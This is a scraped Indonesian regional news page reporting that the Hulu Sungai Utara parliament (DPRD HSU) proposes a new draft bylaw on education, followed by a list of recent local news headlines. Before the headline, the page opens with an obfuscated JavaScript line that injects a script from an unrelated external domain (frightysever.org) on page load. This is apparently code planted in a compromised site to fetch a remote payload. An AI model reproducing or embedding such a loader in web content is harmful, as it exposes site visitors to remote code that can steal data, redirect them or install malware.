(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

DPRD HSU Usul Raperda Baru Tentang Penyelenggaraan Pendidikan


AMUNTAI, DPRD Hulu Sungai Utara (HSU) mengusulkan Rancangan Peraturan Daerah (Raperda) baru terkait tentang penyelenggaraan pendidikan, terkait kewenangan pengelolaan sekolah menengah oleh Pemkab HSU yang bertentangan dengan Perda Kalsel.

Hal tersebut disampaikan perwakilan dari seluruh fraksi di DPRD HSU H Junaidi saat memberikan tanggapan dan jawaban fraksi DPRD atas pendapat kepala daerah terhadap 4 buah Raperda prakarsa DPRD HSU, Rabu (23/1).

Junaidi mengatakan, terkait dukungan pemerintah daerah dengan diajukannya Raperda tentang penyelenggaraan pendidikan yang berisi tentang adanya kewenangan pengelolaan pendidikan menengah, melihat kepada lampiran UU Nomor 23 tahun 2014 tentang kewenangan untuk sekolah menengah diserahkan kepada pemerintah provinsi, sementara pemerintah kabupaten/kota tidak lagi mempunyai kewenangan untuk mengatur sekolah menengah.

Sedangkan pada Perda Kabupaten HSU nomor 1 tahun 2014 tentang pengelolaan pendidikan dasar dan menengah di Kabupaten HSU, pengelolaan sekolah menengah masih diatur dalam peraturan daerah.

Oleh karenanya, pada pada awalnya DPRD bermaksud melakukan penyesuaian pada Perda nomor 1 tahun 2014. “Jika suatu perubahan peraturan perundang-undangan mengakibatkan sistematika peraturan perundang-undangan berubah materi peraturan perundang-undangan berubah lebih dari 50% atau esensinya berubah, maka peraturan tersebut lebih baik dicabut dan disusun kembali dalam peraturan perundang-undangan yang baru,” bebernya.

DPRD HSU sepakat untuk mengusulkan Raperda baru mengakomodir ketentuan yang masih berlaku pada Perda tersebut, dengan memasukkan beberapa ketentuan tambahan terutama terkait pendidikan inklusif serta muatan lokal.

“Oleh karenanya diharapkan Raperda ini nantinya dapat disetujui pemerintah daerah sebagai pengganti Perda nomor 1 tahun 2014,” ucapnya.

Rapat paripurna dipimpin Ketua DPRD HSU H Sahrujani, dihadiri Wakil Bupati HSU H Husairi Abdi Lc, Sekda HSU, Forkompinda, pejabat SKPD, tokoh organisasi masyarakat, organisasi wanita, mahasiswa dan LSM lainnya. (dew)

Reporter:dewahyudi
Editor:Abi Zarrin Al Ghifari

Desy

Unit Cyber Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.